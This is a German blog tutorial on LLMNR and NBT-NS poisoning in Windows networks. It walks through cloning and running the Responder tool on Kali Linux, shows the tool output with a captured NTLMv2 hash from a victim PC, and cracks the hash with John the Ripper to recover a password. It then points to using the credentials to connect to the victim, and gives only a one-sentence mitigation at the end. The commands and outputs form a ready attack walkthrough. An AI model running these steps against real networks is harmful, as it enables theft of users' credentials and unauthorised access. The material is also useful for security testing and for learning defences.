Lokale Netzwerkangriffe: LLMNR und NBTNS Poisoning

Wenn man Windows-Betriebssysteme in einem Netzwerk nutzt, so sind standardmäßig Link-Local Multicast Name Resolution (LLMNR) und NetBIOS Name Service (NBTNS) aktiviert.

LLMNR ist ein Protokoll, das IPv6 und IPv4-Hosts ermöglicht, eine Namensauflösung benachbarte Computer ohne einen DNS-Server oder DNS-Client-Konfiguration zu gewährleisten.

Das NBTNS Protokoll ist im Grunde dasselbe wie LLMNR aber funktioniert nur auf IPv4-Hosts. Auf Computern unter Windows XP wurden z. B. beim Dienst Datei- und Druckerfreigabe der NetBIOS-Name verwendet. Beim Starten des Computers registrierte dieser Dienst einen eindeutigen NetBIOS-Namen auf der Grundlage des Computernamens.

In einem lokalen Netzwerk senden  Windows-PC Broadcast-Nachrichten aus, wenn sie nach Ressourcen (wie z.B. einer Freigabe auf einem Dateiserver) suchen. In der Regel werden in diesem Zusammenhang die für  den Authentisierungsprozess relevante Daten übermittelt.

Ist ein Angreifer im lokalen Netzwerk in der Lage, sich als eine Ressource auszugeben, so können wichtige Informationen (wie z.B User-ID und eine Challenge/Response Passwort in Form eines Hashwertes abgegriffen werden.

Diese Daten können dann mit Hilfe  verschiedenster Tools (z.B. John the Ripper oder Hashcat) entschlüsselt und für einen Login in den Windows-PC verwendet werden.

Leider können die so erlangten Hashwerte nicht für einen „pass-the-hash“ Angriff (z.B. mit einem Metasploit-Module) verwendet werden. Dazu sind nur LanMan oder NTLM-Hashwerte nutzbar.

Der Angriff gestaltet sich relativ simpel. Fragt z.B. eine Workstation in einem Netzwerk eine Ressource auf dem Fileserver ab, so antwortet der Computer des Angreifers bevor eine legitime Antwort erfolgen kann. Eine Prüfung der Antwort findet auf dem Opfer nicht statt.

Der Angriff kann folgendermaßen ablaufen:

1. Der Oper-PC möchte die Freigabe \\ablage nutzen, stellt aber irrtümlich die Anfrage an \\alage

2. Der DNS-Server antwortet, dass er diese Ressource nicht finden kann.

3. Der Opfer-PC sendet Anfragen in das Netzwerk. „Stellt dies jemand bereit?“

4. Der Angreifer-PC meldet sich: „Ja, ich stelle die Ressource bereit!“

5. Der Opfer-PC sendet die entsprechenden Nutzerdaten zum Angreifer.

Responder

Das Schöne an diesem Angriff (aus Sicht des Angreifers) ist es, dass er sehr „leise“ erfolgen kann. Es sind weder Portscans noch aktive Bemühungen erforderlich, die aufsehenerregende Netzwerkaktivitäten erzeugen.

Für den Angriff lassen sind insbesondere zwei Tools nutzen. Spider Labs stellt das Werkzeug Responder zur Verfügung. Außerdem ist ein Metasploit-Modul vorhanden, dass sich als sogenanntes „Auxiliary“ nutzen lässt.

Im Folgenden werden die Installation und die Handhabung des Tools „Responder“ mittels Kali-Linux in einem Beispiel dargestellt.

Das es sich bei Responder um ein Python-Skript handelt, kann man es relativ einfach mittels github in Kali-Linux integrieren. Dies sieht wie folgt aus:

cd /home/
git clone https://github.com/SpiderLabs/Responder.git
cd Responder
./Responder.py -i 192.168.1.13 -wrf

									

Nach erfolgreicher Ausführung des Kommandos wartet das Werkzeug nun auf Anfragen aus dem Netzwerk. In unserem Beispiel werden sie an den Host mit der IP-Adresse 192.168.1.13 weitergeleitet.

root@kali:/home/scripts/Responder# ./Responder.py -i 192.168.1.13 -wrf
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C

[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: True
WPAD script loaded:  function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: True
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

									

In diesem Fall versucht sich nun eine Windows7-PC mit der Resource \\alage im Netzwerk zu verbinden. Die Anfragen werden sofort an den Angreifer weitergeleitet und damit wichtige Daten zur Authentifizierung übermittelt.

[+] ClientVersion is :Windows 7 Enterprise 6.1
LLMNR poisoned answer sent to this IP: 192.168.1.14. The requested name was : alage.
[+] OsVersion is:Windows 7 Enterprise 7601 Service Pack 1
[+] ClientVersion is :Windows 7 Enterprise 6.1
[+]SMB-NTLMv2 hash captured from :  192.168.1.14
[+]SMB complete hash is : Windows7::WINAVG:1122334455667788:1D2BB305029C18B0C0CFB4DBF3224E82:01010000000000007B28EFD1BCBDD001E99C8BCADC4FF9F70000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C0008003000300000000000000001000000002000005DDC3A7DF8C0A893C48FFD84367DC9CDF8F9247B127668514E122C70B9877C020A001000000000000000000000000000000000000900200063006900660073002F0064007200750063006B007300650072007600650072000000000000000000
									

Die so erlangten Nutzerdaten werden gleichzeitig in eine Datei in folgender Form übertragen:

SMB-NTLMv2-Client-[IP-Adresse].txt

Nun ist man in der Lage, die Nutzerdaten mit John the Ripper zu entschlüsseln. Voraussetzung dafür ist, dass sich das Passwort bereits in einer entsprechenden „Wortliste“  befindet. Hierzu verwendent man selbstgefertigte Listen im Text-Format oder lädt sich aus diversen Quellen die gewünschten Daten herunter.

In diesem Beispiel wurde eine Wortliste (wordlist.txt) angefertigt, die verschiedene typische Passwörter enthält und im Verzeichnis /home gespeichert. Wir starten die Suche mit folgendem Kommando:

root@kali:/home/scripts/Responder#  john SMB-NTLMv2-Client-192.168.1.14.txt -w=../../wordlist.txt

Loaded 1 password hash (NTLMv2 C/R MD4 HMAC-MD5 [32/32])
asdf1234%        (Windows7)
guesses: 1  time: 0:00:00:00 DONE (Mon Jul 13 18:54:56 2015)  c/s: 25600  trying:  - cracker
Use the "--show" option to display all of the cracked passwords reliably
									

Somit konnten wir als Nutzernamen: Windows7 und als Passwort: asdf1234% ermitteln.

Die so erlangten  Daten können wir nun  nutzen, um uns z.B. mittels Armitage mit dem entsprechenden „Opfer-PC“ zu verbinden.

Armitage1
Armitage2

Um diesen Angriffen in einem lokalen Netzwerk zu entgehen, sollte man sowohl LLMNR (per Gruppenrichtlinie) als auch NBTNS (in den Netzwerkeinstellungen des Clients)  deaktivieren. Bei ordnungsgemäß laufenden DNS-Server, sind diese Dienste in einem Netzwerk nicht.

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.